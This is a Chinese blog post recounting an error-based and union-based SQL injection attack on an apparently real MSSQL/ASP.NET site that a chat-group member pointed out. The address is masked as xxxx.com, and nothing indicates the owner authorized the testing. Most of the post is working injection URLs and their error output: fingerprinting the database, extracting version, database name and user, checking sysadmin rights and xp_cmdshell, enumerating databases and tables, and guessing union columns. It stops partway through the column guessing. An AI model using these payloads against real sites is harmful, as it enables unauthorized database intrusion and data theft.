对mssql数据库的一次渗透(报错注入)

群里某人发了个站点过来,说是存在注入点,于是拿过来看看

http://www.xxxx.com/viewinfo.aspx?id=182'
1

http://www.xxxx.com/viewinfo.aspx?id=182 and 1=1
正确

http://www.xxxx.com/viewinfo.aspx?id=182 and 1=2
1
报错,说明为数字型注入

判断数据库类型:

1
2
3
mysql:and (select count(*) from information_schema.tables)>0	false
mssql:and (select count(*) from sysobjects)>0 true
access:and (select count(*) from msysobjects)>0 false

其实一看就出来了,好把,mssql的报错注入,接下来我们报错一些信息:

1
2
3
4
5
6
7
8
数据库版本:
http://www.xxxx.com/viewinfo.aspx?id=182 and @@version>0
数据库名:
http://www.xxxx.com/viewinfo.aspx?id=182 and db_name()>0
主机名
http://www.xxxx.com/viewinfo.aspx?id=182 and @@servername>0
用户名:
http://www.xxxx.com/viewinfo.aspx?id=182 and User_Name()>0

权限查看:

1
2
3
4
5
6
7
8
9
10
系统管理员:
http://www.xxxx.com/viewinfo.aspx?id=182 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
库权限:
http://www.xxxx.com/viewinfo.aspx?id=182 and 1=(Select IS_MEMBER('db_owner'))
库读取权限:
http://www.xxxx.com/viewinfo.aspx?id=182 and 1= (Select HAS_DBACCESS('master'))
XP_CMDSHELL是否存在:
http://www.xxxx.com/viewinfo.aspx?id=182 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
XP_regread扩展存储过程是不是已经被删除:
http://www.xxxx.com/viewinfo.aspx?id=182 and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')

获取数据库个数:

1
http://www.xxxx.com/viewinfo.aspx?id=182 and 1=(select quotename(count(name)) from master..sysdatabases)

其他数据库:

1
2
3
http://www.xxxx.com/viewinfo.aspx?id=182 and (SELECT top 1 Name FROM Master..SysDatabases)>0
http://www.xxxx.com/viewinfo.aspx?id=182 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
......

这里有个小技巧:可以用db_name(num)>0,通过不同的数字遍历出所有的数据库,或者利用语句:

1
and 1=(select name from master.dbo.sysdatabases where dbid=x)

表名:

1
and (select top 1 name from sysobjects where xtype='u')>0

后来有表哥在群里发了一段payload:

1
?oneId=7%20union%20select%20top%201%20table_name,table_name,table_name,table_name,substring(table_name,1,200)%20from%20information_schema.tables%20where%20table_catalog%3E0--&twoId=0&Nid=182

看一下他的思路是什么样子的
order by 无法利用,于是换了一个注入的参数试试

1
2
3
4
5
6
7
8
order by 10
ORDER BY 子句中的位置号 10 超过了选择列表中项数目。
ORDER BY 子句中的位置号 9 超过了选择列表中项数目。
ORDER BY 子句中的位置号 8 超过了选择列表中项数目。
ORDER BY 子句中的位置号 7 超过了选择列表中项数目。
ORDER BY 子句中的位置号 6 超过了选择列表中项数目。
text、ntext 和 image 数据类型不能用于 ORDER BY 子句中。
ORDER BY 子句中的位置号 4 超过了选择列表中项数目。

那就是5个列了吧

1
2
3
union select 1,2,3,4,5
操作数类型冲突: ntext 与 int 不兼容
包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。

这里说明类型冲突啦,不能用数字型,遂改成null

1
2
union select null,null,null,null,null
不能以 DISTINCT 方式选择 text、ntext 或 image 数据类型。

这里百度了一下,报错是因为ntext、text、image数据字段可能存储非常多的数据,无法对这种类型的字段进行有效的比较,所有解决方法是union select改成union all selet。

1
2
 union all select 1,2,3,4,null
包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。

好像后面的字段数不是这么多,好吧,继续猜解


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:对mssql数据库的一次渗透(报错注入)

本文作者:sher10ck

发布时间:2019-04-11, 18:57:34

最后更新:2020-01-13, 13:00:36

原始链接:http://sherlocz.github.io/2019/04/11/mssql-injection/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录